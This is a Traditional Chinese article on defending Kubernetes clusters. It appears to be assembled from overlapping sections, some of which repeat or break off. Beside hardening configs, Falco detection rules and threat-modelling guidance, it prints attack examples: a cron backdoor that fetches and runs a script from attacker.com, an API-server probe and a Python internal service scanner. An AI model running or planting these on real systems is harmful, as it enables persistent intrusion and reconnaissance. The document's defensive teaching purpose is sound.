Kubernetes安全攻防：永續性儲存區安全考量

永續性儲存區可能包含敏感資料，需要適當的安全控制：

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: encrypted-pvc
  annotations:
    encryption

Kubernetes安全防禦：從威脅角度看容器化環境

在容器協調的海洋中，Kubernetes已成為無可爭議的旗艦技術，但這艘巨輪的安全性卻常被低估。當企業快速採用Kubernetes時，安全考量往往被功能性需求所掩蓋。本文將從威脅視角出發，探討如何有效保護Kubernetes環境，並建立堅實的防禦策略。

攻防視角：理解威脅者的思維

在安全領域中，理解攻擊者的思維是建立有效防禦的基礎。對於Kubernetes而言，這意味著我們需要透過潛在入侵者的視角來審視我們的叢集。攻擊者不會只看到一個Pod或一個服務，而是會尋找整個系統中的弱點鏈，從一個小缺口開始，逐步擴大攻擊範圍。

從技術角度看，Kubernetes的安全挑戰主要源自其複雜的分散式架構和預設設定。雖然Kubernetes提供了豐富的安全功能，但大多數並非預設啟用，這就產生了所謂的「預設不安全」狀態。

Kubernetes安全的歷史演進

值得注意的是，Kubernetes的安全性已經有了長足的進步。最初版本的Kubernetes在安全性方面相對簡單，但隨著版本迭代，安全功能不斷豐富：

• 早期版本缺乏網路策略和Pod安全策略等關鍵防護機制
• 中期版本引入了RBAC（根據角色的存取控制）作為預設的授權模式
• 近期版本強化了執行時安全和供應鏈安全

然而，即使在最新版本中，許多安全控制仍需手動設定和啟用，這要求管理員具備深入的安全知識。

典型威脅場景模擬

想像一下：你剛成為一家名為「船舶、起重機與列車物流公司」(BCTL)的新創企業的資安長。該公司剛完成Kubernetes遷移，而你收到情報，指出有名為「Hashjack船長」的駭客團隊正計劃入侵你們的Kubernetes叢集。

如果他們獲得存取權，可能會佈署加密貨幣挖礦程式，或者對寶貴資料進行勒索加密。你的任務是在他們得手前，識別並修補系統中的弱點。

初始環境評估

假設BCTL的叢集是使用kubeadm在公有雲上建立的標準Kubernetes安裝，所有設定都採用預設值。這意味著：

• 沒有網路政策限制Pod間通訊
• 未啟用Pod安全政策或Pod安全標準
• RBAC可能設定過於寬鬆
• 容器可能以root許可權執行
• 缺乏適當的資源限制

這些預設設定為攻擊者提供了多個潛在入口點。

深入Kubernetes安全的核心概念

要有效保護Kubernetes環境，我們需要理解其核心安全概念和常見的攻擊向量。

Kubernetes安全的多層防禦

Kubernetes安全不是單一技術或工具，而是一系列防禦層的組合：

1. 基礎設施安全 - 確保底層主機、網路和儲存的安全
2. 叢集安全 - 保護Kubernetes API伺服器、etcd等核心元件
3. 容器安全 - 確保容器映像不含漏洞，限制容器許可權
4. 應用程式安全 - 保護在Kubernetes上執行的應用程式

每一層都有其特定的安全控制和最佳實踐，缺一不可。

常見攻擊向量分析

在分析過數十起Kubernetes安全事件後，我發現攻擊者通常會利用以下幾種常見路徑：

1. 透過暴露的API伺服器入侵

Kubernetes API伺服器是整個叢集的控制中心，若未妥善保護，攻擊者可直接存取並控制叢集。

# 攻擊者可能會嘗試的簡單探測命令
curl -k https://exposed-kubernetes-api:6443/version

這條命令嘗試連線到可能暴露在公網的Kubernetes API伺服器，並取得版本訊息。-k引數表示跳過SSL證書驗證，這在攻擊者不知道或不關心目標叢集SSL設定的情況下很常用。若能成功取得版本訊息，攻擊者就確認了API伺服器的存在，並可能進一步嘗試未授權存取或利用特定版本的已知漏洞。

2. 容器逃逸攻擊

容器逃逸是指攻擊者從容器環境中「逃出」，取得宿主機存取權的過程。

# 檢測容器是否以特權模式執行的命令
if [ -w /proc/sys/kernel/core_pattern ]; then
  echo "Container running in privileged mode - potential escape vector"
fi

這個指令碼檢查容器是否能寫入宿主機的/proc/sys/kernel/core_pattern檔案，這通常只有在容器以特權模式執行時才可能。特權容器本質上可以存取所有宿主機裝置，這為容器逃逸提供了便利條件。攻擊者可以利用這個簡單測試來識別高風險目標，進而計劃後續的逃逸攻擊。

3. 供應鏈攻擊

透過汙染容器映像或依賴項，攻擊者可以在佈署前就植入後門。

# 惡意映像可能包含的後門程式碼範例
(crontab -l 2>/dev/null; echo "* * * * * curl -s http://attacker.com/backdoor | bash") | crontab -

這段程式碼展示了攻擊者如何在容器映像中植入惡意cron任務。它首先讀取現有cron設定，然後增加一個每分鐘執行的任務，該任務從攻擊者控制的伺服器下載並執行指令碼。這種技術很隱蔽，因為它不會修改容器的主要應用程式，而是在後台悄執行。當這樣的映像被佈署到生產環境時，攻擊者就獲得了持續的遠端存取能力。

4. 橫向移動

一旦攻擊者取得了初始存取權，就會嘗試在叢集內橫向移動，擴大攻擊範圍。

# 簡化的服務發現和嘗試存取指令碼
import socket
import requests
from concurrent.futures import ThreadPoolExecutor

def scan_service(ip, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.5)
        result = sock.connect_ex((ip, port))
        if result == 0:
            try:
                response = requests.get(f"http://{ip}:{port}", timeout=1)
                return (ip, port, response.status_code)
            except:
                return (ip, port, "open")
        return None
    except:
        return None
    finally:
        sock.close()

# 掃描Kubernetes預設服務網段
def scan_kubernetes_services():
    results = []
    with ThreadPoolExecutor(max_workers=100) as executor:
        futures = []
        for i in range(1, 255):
            ip = f"10.96.0.{i}"  # 預設服務CIDR
            for port in [80, 443, 8080, 8443, 10250]:
                futures.append(executor.submit(scan_service, ip, port))
        
        for future in futures:
            result = future.result()
            if result:
                results.append(result)
    return results

print("Discovered services:", scan_kubernetes_services())

這個Python指令碼演示了攻擊者如何在獲得初始存取權後進行內部網路掃描。它針對Kubernetes預設服務網段(10.96.0.0/24)的每個IP位址掃描常見連線埠，尋找可能存在的服務。指令碼使用多執行緒提高效率，並嘗試對發現的開放連線埠傳送HTTP請求以取得更多訊息。這種技術能幫助攻擊者發現叢集內的其他服務，為後續的橫向移動提供目標。在真實攻擊中，攻擊者會根據發現的服務特性制定進一步的入侵計劃。

預設不安全：Kubernetes的安全挑戰

Kubernetes面臨的主要安全挑戰之一是其「預設不安全」的特性。這不是設計缺陷，而是架構選擇，但這確實為管理員帶來了挑戰。以下是一些關鍵問題：

1. 網路策略缺失 - 預設情況下，所有Pod可以與任何其他Pod通訊
2. 許可權過度 - 容器通常以root身份執行，擁有過多許可權
3. 資源未隔離 - 未正確設定資源限制可能導致拒絕服務風險
4. 缺乏稽核 - 預設未啟用詳細的稽核日誌

在我的實踐中，這些預設設定是許多安全事件的根源。例如，最近分析的一起事件中，攻擊者利用一個受損的前端Pod，在缺乏網路策略的環境中自由存取到了後端資料函式庫服務，最終導致資料外洩。

防禦策略：強化Kubernetes安全

瞭解了威脅後，讓我們專注於實用的防禦策略。

建立安全基線

第一步是為Kubernetes環境建立安全基線。這應包括：

1. API伺服器安全強化

API伺服器是Kubernetes的核心，必須優先保護：

# kube-apiserver安全設定範例
apiVersion: v1
kind: Pod
metadata:
  name: kube-apiserver
  namespace: kube-system
spec:
  containers:
  - name: kube-apiserver
    command:
    - kube-apiserver
    - --anonymous-auth=false
    - --authorization-mode=Node,RBAC
    - --enable-admission-plugins=NodeRestriction,PodSecurityPolicy
    - --audit-log-path=/var/log/kubernetes/audit.log
    - --audit-log-maxage=30
    - --audit-log-maxbackup=10
    - --audit-log-maxsize=100
    - --encryption-provider-config=/etc/kubernetes/encryption-config.yaml
    - --tls-cert-file=/etc/kubernetes/ssl/apiserver.crt
    - --tls-private-key-file=/etc/kubernetes/ssl/apiserver.key
    # 其他設定選項...

這個YAML設定展示瞭如何強化Kubernetes API伺服器的安全性。關鍵設定包括：

• --anonymous-auth=false：禁止匿名存取，要求所有請求提供認證
• --authorization-mode=Node,RBAC：啟用根據角色的存取控制，限制使用者許可權
• --enable-admission-plugins=NodeRestriction,PodSecurityPolicy：啟用重要的准入控制器，特別是PodSecurityPolicy用於強制執行Pod安全標準
• 啟用稽核日誌並設定保留策略，有助於事後分析和取證
• 設定TLS證書和加密提供者，保護API通訊和靜態資料安全

這些設定共同形成了一個更安全的API伺服器設定，大減少了攻擊面。在實際佈署中，這些設定通常透過kubeadm設定檔案或雲端服務提供商的管理介面設定。

2. 實施網路策略

限制Pod間通訊是防止橫向移動的關鍵：

# 預設拒絕所有入站流量的網路策略
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-ingress
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
---
# 允許特定應用間通訊的網路策略
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-to-backend
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: backend
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080

這組網路策略展示了零信任網路設計的實作方式：

1. 第一個策略(default-deny-ingress)是一個基礎安全控制，它在production名稱空間中預設阻止所有入站流量。空的podSelector:{}表示策略適用於該名稱空間中的所有Pod。
2. 第二個策略(allow-frontend-to-backend)提供了精確的例外規則，只允許帶有app: frontend標籤的Pod透過TCP 8080連線埠存取帶有app: backend標籤的Pod。

這種方法遵循"預設拒絕，明確允許"的安全原則，確保只有經過授權的通訊才能進行。在實際佈署中，會根據應用程式的通訊需求建立多個類別似的策略，形成一個完整的微分段網路。這大減少了攻擊者在取得初始存取權後的橫向移動能力。

3. 設定Pod安全標準

限制Pod許可權是防止容器逃逸的重要手段：

# 在名稱空間級別實施Pod安全標準
apiVersion: v1
kind: Namespace
metadata:
  name: restricted-workloads
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
---
# 符合受限制安全標準的Pod範例
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
  namespace: restricted-workloads
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:1.0.0
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
      readOnlyRootFilesystem: true
    resources:
      limits:
        cpu: "500m"
        memory: "512Mi"
      requests:
        cpu: "100m"
        memory: "128Mi"

這個設定展示瞭如何使用Kubernetes的Pod安全標準(PSS)來強制執行安全最佳實踐：

1. 首先，在名稱空間級別應用"restricted"安全標準，這是最嚴格的預定義設定檔案。透過標籤設定了三種模式：

   • enforce: 違反策略的Pod將被拒絕建立
   • audit: 違規行為將被記錄在稽核日誌中
   • warn: 使用者將收到警告但Pod仍可建立

2. 然後展示了一個符合"restricted"標準的Pod定義，包含多層安全控制：

   • 容器以非root使用者(UID 1000)執行
   • 設定了適當的組ID和檔案系統組ID
   • 啟用了seccomp設定檔案限制系統呼叫
   • 禁止許可權提升(allowPrivilegeEscalation: false)
   • 移除所有Linux capabilities
   • 根檔案系統設為只讀
   • 設定了資源限制，防止資源耗盡攻擊

這種設定大降低了容器被攻擊者利用的可能性，即使應用程式存在漏洞，攻擊者也難以獲得高許可權或逃逸到宿主機。在現代Kubernetes環境中，這已成為生產工作負載的推薦設定。

4. 實施最小許可權RBAC

嚴格的RBAC設定可防止未授權存取：

# 針對特定應用的受限服務帳號和角色
apiVersion: v1
kind: ServiceAccount
metadata:
  name: frontend-sa
  namespace: production
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: frontend-role
  namespace: production
spec:
  rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    resourceNames: ["frontend-config"]
    verbs: ["get"]
  - apiGroups: [""]
    resources: ["secrets"]
    resourceNames: ["frontend-tls"]
    verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: frontend-rolebinding
  namespace: production
spec:
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: frontend-role
  subjects:
  - kind: ServiceAccount
    name: frontend-sa
    namespace: production

這組YAML設定展示了Kubernetes中最小許可權原則的實作：

1. 首先建立一個名為frontend-sa的服務帳號，專門用於前端應用程式。

2. 然後定義了一個精確的角色(frontend-role)，只授予兩種非常具體的許可權：

   • 只能讀取(get)名為frontend-config的ConfigMap
   • 只能讀取(get)名為frontend-tls的Secret

3. 最後透過RoleBinding將這個受限角色繫結到服務帳號。

這種精確的許可權控制確保即使前端應用被攻擊者入侵，他們也只能存取這兩個特定資源，無法讀取其他ConfigMaps、Secrets或執行其他Kubernetes API操作。這與常見的錯誤設定形成鮮明對比 - 許多環境中服務帳號被賦予過度的許可權(如整個名稱空間的讀取許可權甚至更多)，使攻擊者容易進行許可權提升和橫向移動。在實際佈署中，應為每個元件建立類別似的最小許可權設定。

持續安全監控與回應

保護Kubernetes不僅需要預防措施，還需要持續監控以迅速發現和應對威脅。

1. 佈署Kubernetes稽核日誌

稽核日誌對於事後分析和取證至關重要：

# 稽核策略設定範例
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
  resources:
  - group: ""
    resources: ["secrets", "configmaps"]
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods"]
  verbs: ["create", "update", "patch", "delete"]
- level: Request
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["roles", "clusterroles", "rolebindings", "clusterrolebindings"]
  verbs: ["create", "update", "patch", "delete"]
- level: None
  users: ["system:kube-proxy"]
  resources:
  - group: ""
    resources: ["endpoints", "services"]
    verbs: ["watch"]

這個稽核策略設定展示瞭如何實作分層稽核日誌記錄，平衡安全可見性與效能：

1. 對於敏感資源(secrets和configmaps)，設定為Metadata級別，記錄請求的中繼資料但不包含完整內容，避免敏感資料洩露同時保留稽核軌跡。

2. 對於Pod操作(建立、更新、刪除)，設定為RequestResponse級別，記錄完整的請求和回應內容，這對安全事件調查極為重要。

3. 對於RBAC變更，設定為Request級別，記錄完整請求但不包含回應，捕捉所有許可權變更。

4. 對於系統元件(如kube-proxy)的常規監控操作，設定為None級別，完全不記錄，減少噪音和儲存需求。

這種分層策略確保了關鍵安全事件被詳細記錄，同時避免了稽核日誌爆炸性增長。在實際佈署中，這些日誌通常會被傳送到集中式日誌管理系統(如Elasticsearch)進行分析和告警。

2. 實施執行時安全監控

執行時監控可以檢測容器中的異常行為：

# 使用Falco進行執行時安全監控
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: falco
  namespace: security
  labels:
    app: falco
spec:
  selector:
    matchLabels:
      app: falco
  template:
    metadata:
      labels:
        app: falco
    spec:
      serviceAccountName: falco
      containers:
      - name: falco
        image: falcosecurity/falco:latest
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host/var/run/docker.sock
          name: docker-socket
        - mountPath: /host/dev
          name: dev-fs
        - mountPath: /host/proc
          name: proc-fs
          readOnly: true
        - mountPath: /host/boot
          name: boot-fs
          readOnly: true
        - mountPath: /host/lib/modules
          name: lib-modules
          readOnly: true
        - mountPath: /host/usr
          name: usr-fs
          readOnly: true
        - mountPath: /etc/falco
          name: falco-config
      volumes:
      - name: docker-socket
        hostPath:
          path: /var/run/docker.sock
      - name: dev-fs
        hostPath:
          path: /dev
      - name: proc-fs
        hostPath:
          path: /proc
      - name: boot-fs
        hostPath:
          path: /boot
      - name: lib-modules
        hostPath:
          path: /lib/modules
      - name: usr-fs
        hostPath:
          path: /usr
      - name: falco-config
        configMap:
          name: falco-config
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-config
  namespace: security
data:
  falco.yaml: |
    # Falco設定
    program_output:
      enabled: true
      keep_alive: false
      program: "curl -d @- -X POST http://alert-service:8080/events"

  falco_rules.local.yaml: |
    # 自定義Falco規則
    - rule: Terminal shell in container
      desc: A shell was used as the entrypoint/exec point into a container with an attached terminal
      condition: >
        spawned_process and container
        and shell_procs and proc.tty != 0
        and container_entrypoint
        and not container.image.repository in (allowed_shell_containers)
      output: >
        A shell was spawned in a container with an attached terminal (user=%user.name
        container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname
        cmdline=%proc.cmdline terminal=%proc.tty container_image=%container.image.repository)
      priority: NOTICE
      tags: [container, shell, mitre_execution]

    - rule: Crypto Miners
      desc: Detect crypto-mining behaviors
      condition: >
        spawned_process and
        ((proc.name = "xmrig" or proc.name = "cryptominer") or
         (proc.cmdline contains "monero" or proc.cmdline contains "xmr") or
         (proc.cmdline contains "--donate-level"))
      output: >
        Possible crypto miner execution detected (user=%user.name command=%proc.cmdline
        container_id=%container.id container_name=%container.name image=%container.image.repository)
      priority: CRITICAL
      tags: [container, crypto, mitre_execution]

這個設定展示瞭如何佈署Falco進行容器執行時安全監控：

1. 使用DaemonSet確保Falco在叢集的每個節點上執行，能夠監控所有容器活動。

2. 設定中包含必要的特權設定和主機路徑掛載，使Falco能夠存取系統呼叫和容器執行時訊息。

3. 透過ConfigMap提供兩個關鍵設定：

   • falco.yaml：基本設定將告警透過HTTP POST傳送到alert-service
   • falco_rules.local.yaml：自定義檢測規則，包括：
     • 檢測容器中的終端shell使用，這可能表示攻擊者已取得容器存取權
     • 檢測加密貨幣挖礦行為，透過識別常見挖礦程式名稱和命令列引數

這種設定能夠實時檢測常見的容器攻擊行為，如容器逃逸嘗試、許可權提升、資料竊取和資源濫用。在實際佈署中，會設定更多規則覆寫廣泛的攻擊技術，並將告警整合到安全營運中心(SOC)工作流程中。

3. 實施供應鏈安全

保護容器從構建到佈署的整個生命週期：

# 使用OPA Gatekeeper強制實施映像安全策略
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sTrustedImages
metadata:
  name: only-approved-registries
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]
    namespaces:
      - "production"
      - "staging"
  parameters:
    registries: ["registry.company.com", "gcr.io/company-project"]
---
# 使用ImagePolicyWebhook驗證映像安全掃描結果
apiVersion: v1
kind: ConfigMap
metadata:
  name: image-policy-webhook-config
  namespace: kube-system
data:
  config.yaml: |
    imagePolicy:
      kubeConfigFile: /etc/kubernetes/admission-config.yaml
      allowTTL: 50
      denyTTL: 50
      retryBackoff: 500
      defaultAllow: false

這個設定展示了容器供應鏈安全的兩個關鍵控制：

1. 使用OPA Gatekeeper實施可信映像函式庫策略：
   • 建立一個名為K8sTrustedImages的約束，限制production和staging名稱空間中的Pod
   • 只允許使用來自指定內部

Kubernetes 叢集安全防禦：從威脅識別到實戰強化

在現代雲原生環境中，Kubernetes 已成為容器協調的標準選擇，但其複雜的架構也帶來了獨特的安全挑戰。當玄貓參與各種企業的安全諮詢時，常發現許多團隊對於 Kubernetes 安全的認知存在明顯不足。本文將透過一個具體案例，帶領讀者瞭解如何識別威脅並實施有效的安全強化策略。

安全強化例項：從不安全架構到防禦縱深

讓我們以一個名為 BCTL 的 SRE (Site Reliability Engineering) 團隊管理的叢集為例。這個團隊負責 Kubernetes 主節點的安全，這意味著他們需要面對更大的潛在攻擊面。雖然管理式服務會將控制平面（主節點和 etcd）分開託管，其強化設定可以防止某些攻擊（如直接的 etcd 入侵），但兩種方法都依賴於叢集的安全設定來保護工作負載。

現有架構分析

這個叢集具有以下特徵：

• 節點執行在私有網路區段，公共（網際網路）流量無法直接存取
• 公共流量透過導向網際網路的負載平衡器代理到叢集
• 叢集上執行著 SQL 資料函式庫、前端、API 和批處理器
• 應用程式（公司客戶的預訂服務）佈署在單一名稱空間中，使用 GitOps 方式管理
• 未實施網路策略或 Pod 安全策略
• RBAC 設定由已離職的工程師設定，缺乏檔案和理解
• 安全支援服務雖然具有入侵檢測和強化功能，但團隊經常因「產生太多噪音」而停用

威脅建模：理解攻擊者與風險

要有效保護系統，首先需要理解潛在的攻擊方式。威脅模型提供了一個框架，幫助我們理解複雜系統並合理化安全和風險。在我參與的多個安全評估專案中，發現威脅建模是最被低估但最有價值的安全活動之一。

威脅建模基礎

威脅模型就像指紋，每一個都不同。它根據系統被入侵的影響：家用的 Raspberry Pi 叢集和銀行的叢集持有不同的資料，面對不同的潛在攻擊者，被入侵後的潛在問題也大不相同。

在開始威脅建模之前，需要確保基本的安全衛生措施已到位（如及時修補和測試）。如果系統可以被已發布的 CVE 和 Kali Linux 入侵，那麼威脅模型不會對你有太大幫助！

威脅行為者分類別

威脅行為者可分為隨機型和有動機型兩大類別：

隨機型攻擊者：

• 網路破壞者（網際網路時代的塗鴉者）
• 意外入侵者（通常尋找資料）
• 路過的「指令碼小子」，會執行任何聲稱能幫助他們駭入系統的程式碼

對於已修補與設定良好的系統，隨機攻擊者通常不構成威脅。

有動機的攻擊者：

• 內部人員（如可信員工）
• 在監管較弱國家運作的有組織犯罪集團
• 國家支援的行為者（可能與有組織犯罪重疊或直接支援）

這些威脅行為者才是我們需要重點關注的物件。

威脅行為者分類別詳解

在我的安全評估工作中，常使用以下威脅行為者分類別框架來幫助團隊理解潛在風險：

破壞者：指令碼小子、入侵者

• 動機：好奇心、個人名聲；從使高知名度公司的服務下線或入侵機密資料集中獲得名聲
• 能力：使用公開可用的工具和應用（Nmap、Metasploit、CVE PoC）；攻擊掩蓋得很差；針對性低

有動機的個人：政治活動家、小偷、恐怖分子

• 動機：個人、政治或意識形態利益；透過竊取個人資料獲利；透過 DDOS 獲得個人榮譽；透過篡改公共服務傳播政治訊息
• 能力：以針對性方式結合公開可用的漏洞；修改開放原始碼供應鏈；很少關注掩蓋攻擊痕跡

內部人員：員工、外部承包商、臨時工作者

• 動機：不滿、利潤；竊取個人資料獲利；為勒索加密資料
• 能力：對系統有詳細瞭解，知道如何利用它，能隱藏行動

有組織犯罪：犯罪集團、與國家相關組織

• 動機：勒索、大規模竊取個人資料/憑證/支付卡資料；為經濟利益操縱交易；加密貨幣勒索
• 能力：能投入大量資源，聘請「作者」編寫所需工具和漏洞利用程式；能賄賂/脅迫個人；針對性程度不一；隱藏直到目標達成

雲端服務內部人員：員工、外部承包商、臨時工作者

• 動機：個人利益、好奇心
• 能力：取決於雲提供商內部的職責分離和技術控制

外國情報機構：民族國家

• 動機：情報收集、破壞關鍵國家基礎設施；竊取智慧財產權、存取敏感系統、大規模挖掘個人資料
• 能力：能夠滲透組織/供應商、呼叫研究計劃、開發多個零日漏洞；高度針對性；高水平的隱蔽性

威脅建模實戰：BCTL 案例

讓我們回到 BCTL 的案例。假設有一個名為「船長 Hashjack」的有動機犯罪對手，以勒索或搶劫為目的。這個「海盜船員」已經使用開放原始碼情報（OSINT）技術（如搜尋徵才訊息和當前員工的 LinkedIn 技能）進行偵察，識別了組織中使用的技術。他們知道你使用 Kubernetes，並且可以猜測你開始使用的版本。

建立威脅模型的步驟

要為 Kubernetes 叢集建立威脅模型，首先需要一個系統架構檢視。收集盡可能多的訊息以保持所有人對齊，但要保持平衡：不要用過多訊息淹沒人們。

在我主導的安全評估中，通常遵循以下步驟：

1. 確定系統邊界：明確定義哪些元件屬於評估範圍
2. 識別資產和資料流：瞭解系統中的重要資產和資料如何流動
3. 列出潛在威脅：根據威脅行為者分類別，識別可能的攻擊向量
4. 評估風險：分析每個威脅的風險級別和潛在影響
5. 制定緩解策略：針對已識別的風險，提出具體的安全控制措施

Kubernetes 叢集安全強化策略

根據對 BCTL 案例的分析，以下是一些關鍵的 Kubernetes 安全強化策略：

1. 網路安全加固

當我設計 Kubernetes 網路安全架構時，通常會從這些方面入手：

• 實施網路策略：限制 Pod 間通訊，採用「最小許可權」原則
• 分段網路：將不同功能的工作負載放在不同的名稱空間，並限制跨名稱空間通訊
• 加密傳輸中的資料：使用 TLS 加密叢集內部通訊
• 實施入口控制：嚴格控制外部流量進入叢集的路徑和方式

2. 身份和存取管理

在一個大型金融科技專案中，我發現 RBAC 設定不當是最常見的安全漏洞之一。以下是改進方法：

• 審查和重構 RBAC 設定：遵循最小許可權原則，確保每個角色只具有完成任務所需的最小許可權
• 使用服務帳戶：為每個應用程式建立專用服務帳戶，避免使用預設服務帳戶
• 實施多因素認證：為管理存取啟用 MFA
• 定期審查存取許可權：建立定期審查流程，移除不再需要的許可權

3. 工作負載安全

工作負載安全是我經常發現被忽視的領域：

• 實施 Pod 安全策略：限制 Pod 的安全上下文和能力
• 使用非特權容器：確保容器以非 root 使用者執行
• 限制容器資源：設定資源限制，防止 DoS 攻擊
• 掃描容器映像：在佈署前掃描容器映像，查詢已知漏洞
• 實施執行時安全：使用工具監控和保護執行時環境

4. 持續監控和回應

安全不是一次性的工作，而是持續的過程：

• 啟用稽核日誌：收集和分析叢集活動日誌
• 實施入侵檢測：佈署工具檢測異常行為
• 建立安全基線：定義正常行為基線，以便識別異常
• 制定事件回應計劃：準備應對安全事件的程式和工具
• 定期進行安全評估：定期進行漏洞掃描和滲透測試

GitOps 安全考量

BCTL 案例中使用 GitOps 進行佈署，這帶來了特定的安全考量。GitOps 是應用程式的宣告式設定佈署：可以將其視為 Kubernetes 叢集的傳統組態管理。

在我的實踐中，發現 GitOps 安全需要特別關注以下幾點：

• Git 倉函式庫安全：確保 Git 倉函式庫本身的安全，包括存取控制和稽核
• 簽名提交：要求所有提交必須經過簽名
• 分支保護：實施分支保護規則，防止未經授權的更改
• 秘密管理：避免將敏感資訊儲存在 Git 倉函式庫中，使用專門的秘密管理工具
• 佈署管道安全：確保 CI/CD 管道的安全，防止供應鏈攻擊

Kubernetes 安全是一個多層次、持續演進的領域。透過建立完善的威脅模型，瞭解潛在攻擊者及其能力，並實施相應的安全控制，可以顯著提高叢集的安全性。

從我多年的安全評估經驗來看，最成功的 Kubernetes 安全策略通常結合了技術控制、流程改進和人員意識培訓。安全不僅是工具和設定的問題，更是一種思維方式和組織文化。

在雲原生環境中，安全必須是設計和營運的核心組成部分，而不是事後的附加物。透過採用本文討論的方法和策略，組織可以建立更強大、更有彈性的 Kubernetes 環境，有效抵禦各種威脅行為者的攻擊。

威脅建模：構建Kubernetes安全防線的根本

在容器化技術廣泛應用的今天，Kubernetes已成為管理容器化工作負載的標準平台。然而，隨著其普及，Kubernetes環境也成為攻擊者的熱門目標。要有效保護Kubernetes環境，威脅建模是不可或缺的第一步。

威脅建模本質上是一個系統性過程，透過它我們可以識別、評估和應對潛在的安全威脅。在Kubernetes環境中，這意味著我們需要全面審視系統架構，識別可能的攻擊路徑，並制定相應的防禦策略。

從系統圖開始：定義威脅範圍

進行威脅建模的第一步是繪製系統圖並定義威脅範圍。這個範圍可以是整個Kubernetes系統，也可以聚焦於特定區域，如某個Pod、節點或控制平面。

在定義範圍後，我需要放大關注區域，建立資料流圖並標識信任邊界。在思考信任邊界時，我常會設想攻擊者（比如假想的駭客"Captain Hashjack"）可能如何嘗試攻擊各個元件。正如安全工作者Adam Shostack所言，“完整列出所有可能性比部分列出可行性更好”。

資料流圖：理解系統互動

資料流圖是威脅建模的核心工具，它展示了系統元件之間的資料流動和信任邊界。透過繪製Kubernetes的資料流圖，我們能夠視覺化系統中的潛在弱點。

在建立資料流圖時，我發現最有效的方法是邀請多方利益相關者參與，包括開發、維運、QA、產品、業務和安全團隊。這種多元思維可以確保我們不會遺漏任何潛在威脅。

一個實用的建議是：先不參考外部資源，讓團隊自由討論並產生有機想法，然後再引入外部資源來交叉檢驗團隊的思考。

威脅識別：進入攻擊者思維

一旦掌握了足夠的系統訊息，下一步就是集體腦力激盪。這一階段需要思考簡單性、狡猾性和巧妙性。任何可想像的攻擊都在範圍內，而攻擊可能性的判斷則是另一回事。

在實踐中，我發現將威脅捕捉在電子試算表、思維導圖或列表中非常有效。重要的是要對威脅進行分類別，確保能夠輕鬆審查捕捉的資料。完成第一輪後，考慮可能遺漏的內容，再進行快速的第二輪檢查。

攻擊樹：視覺化攻擊路徑

攻擊樹是一種強大的工具，用於視覺化潛在的入侵路徑。它像一張海盜寶藏地圖，顯示了攻擊者可能採取的路徑。

在攻擊樹中，攻擊者的目標位於樹的頂部，而可用的路徑從樹的根部（底部）開始。邏輯"OR"和"AND"節點的關鍵顯示了完成攻擊所需滿足的條件。

攻擊樹範例：控制平面攻擊

以下是一個攻擊樹範例，它模擬瞭如何攻擊Kubernetes控制平面：

這個攻擊樹專注於拒絕服務(DoS)攻擊，目的是阻止對系統的存取。攻擊者的目標位於圖的頂部，而可用的路徑從底部開始。左側的圖例顯示了完成攻擊所需的邏輯"OR"和"AND"節點。

攻擊樹圖例解釋

在解讀攻擊樹時，理解以下基本元素至關重要：

1. 目標(Goal) - 攻擊者的目標，也是我們試圖防止的結果
2. 邏輯AND - 所有子節點都必須完成才能透過此門
3. 邏輯OR - 任何一個子節點完成即可透過此門

攻擊樹範例：容器被入侵

下面是另一個攻擊樹範例，展示了從遠端式碼執行到容器被完全入侵的路徑：

這個攻擊樹從攻擊者在容器中執行遠端式碼開始，然後展示了可能的攻擊進展路徑。

參考現有威脅模型資源

在團隊生成威脅列表後，我通常會將它們與一些常用的威脅建模技術和攻擊資料交叉參照：

1. STRIDE框架 - 用於列舉可能的威脅
2. Microsoft Kubernetes威脅矩陣
3. MITRE ATT&CK®容器矩陣
4. OWASP Docker Top 10

這也是引入預先存在的通用威脅模型的好時機，例如：

• Trail of Bits和Atredis Partners的Kubernetes威脅模型 - 為Kubernetes安全稽核工作組（現為SIG-security）開發，檢查Kubernetes程式碼函式庫及如何攻擊協調器
• ControlPlane的Kubernetes威脅模型和攻擊樹 - 為CNCF金融服務使用者組開發，考慮使用者的使用和強化Kubernetes設定
• NCC的威脅模型和控制 - 關注系統設定

威脅建模的持續性

重要的是要記住，威脅模型永遠不會完全完成。它是利益相關者在特定時間點的最佳努力，應該定期修訂和更新，因為架構、軟體和外部威脅將不斷變化。

正如安全工作者Moxie Marlinspike所說：“軟體永遠不會完成。你不能停止對它的工作。它是一個不斷移動的生態系統的一部分。”

Pod級資源安全

在理解了威脅建模的基礎之後，讓我們深入Kubernetes最基本的佈署單元：Pod。Pod執行應用程式，一個應用程式可能是一個或多個容器在一個或多個Pod中協同工作。

Pod安全的預設設定

